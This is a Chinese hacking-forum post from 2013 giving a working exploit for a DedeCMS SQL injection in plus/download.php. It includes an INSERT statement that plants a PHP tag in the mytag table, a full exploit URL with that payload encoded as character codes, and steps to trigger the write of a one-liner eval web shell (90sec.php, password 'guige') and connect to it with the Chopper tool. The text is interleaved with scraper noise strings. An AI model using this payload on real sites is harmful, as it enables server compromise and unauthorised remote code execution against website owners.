本帖最后由 土豆 于 2013-6-10 14:41 编辑 ( x* `, G+ \" ]% }7 u' z. [
% u/ M( g( g! z8 z0 n! ~( @; d
m5 t1 g1 z' e8 K; [/ |! G
作者:鬼哥
1 r! T& x7 m/ v5 a: M2 n% P- K, r5 F. T! Q3 d( O' h0 D3 T( E4 m/ f
看贴不回，没JJ1 p% i+ Y9 _: F/ T
; h1 k. i! D! f8 l$ P; P8 X
漏洞大家都知道是哪个。% o2 L: `% |. j) ^
n$ F2 |4 ^5 ^8 @
其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。
+ ]4 w: z8 F! E% q- o( t- X& C0 R1 V% E, K7 a
但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。
9 b; j* @% d( h1 Z1 W6 a" P2 J7 ?) D7 T1 n# f; b. ]
刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？
1 x, x ~7 N3 C, ^. i0 W% W+ x, V: A7 U* g) a8 B
getshell 很容易 。 既然刚发出来的是 sql方法getshell 我也看到几个人发了sql增加表mytag的内容。
5 r/ a4 H1 i# S* f$ b7 w$ c: j. g+ j5 G: @5 Y6 A
但是测试了下。。失败, E, B; f4 D4 `8 M
( e3 z3 V6 ~! C6 n5 ]原因： 用的语句是update 很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴 错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。5 h( H {3 y7 G1 Y! c
: c5 ^8 t! R) d, x
构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`
% n. r) }# S( {$ R% ?" P
' p2 j A" x2 P5 z0 d1 X$ g. k8 yEXP：
3 E3 O9 B3 p: b; |; F
9 M4 D- H) l1 Q3 z, D$ Vhttp://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
8 c/ R V: n; H& X# O6 r/ v$ J: D5 B# E1 B9 C
0 g1 {$ e& P' q5 N2 [
成功增加。$ j) R0 {6 @9 M3 e5 ]# U6 K7 x
9 g A9 t" p2 c- T m; C9 {1 s
访问http://www.xxx.com/plus/mytag_js.php?aid=90132 r3 ~# |! ^% y& k; _; f0 G
生成一句话木马.0 ~/ z Y/ F( C H
菜刀连接 http://www.xxx.com/plus/90sec.php 密码 guige
5 A& B8 K* S. ]; @; G n+ k, y- h6 e+ p/ u+ U t( ^ |% r/ s
测试OK。 8 U7 Q2 e! I" F4 P
9 c6 S0 }7 `) q" E
2 Q; N0 v; M5 J5 p |
发表于 2013-6-10 16:49:18
收藏
支持
反对